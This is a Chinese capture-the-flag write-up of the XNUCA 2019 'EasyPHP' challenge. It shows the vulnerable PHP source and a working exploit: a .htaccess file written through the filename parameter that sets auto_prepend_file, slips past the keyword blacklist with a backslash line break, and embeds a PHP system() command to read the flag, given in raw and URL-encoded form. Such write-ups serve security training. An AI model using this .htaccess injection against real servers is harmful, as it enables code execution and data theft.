[XNUCA2019Qualifier]EasyPHP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

分析:

1
2
3
4
5
文件清理:代码首先扫描当前目录中的文件,然后尝试删除除index.php之外的所有文件。
包含外部文件:它包含一个名为的文件fl3g.php。
输入验证:检查URL 中的参数content(黑名单:on,html,type,flag,upload,file)。filename(匹配任何不是小写字母(a-z)和点(.)的字符)
安全检查:它进行检查以防止某些模式content并验证filename。
最终文件写入:如果所有检查都通过,它会将其写入content指定内容filename并附加“仅一次机会”。

文件名有.和字母的就可以想到配置文件,并且写的东西content还没有过滤

首选.htaccess文件(方法很多:https://xz.aliyun.com/t/8267?time__1311=n4%2BxnD0Dc7exyDjxYqGNWPtsAYY5GO4rlWReD#toc-6):

最简单的就是php_value方法:(file被禁了可以用\绕过)

1
2
3
?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess

url编码一下:

1
?content=php_value%20auto_prepend_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffl*')%3B%3F%3E%5C&filename=.htaccess

直接回index.php看flag

6

参考链接:https://blog.csdn.net/shinygod/article/details/129338836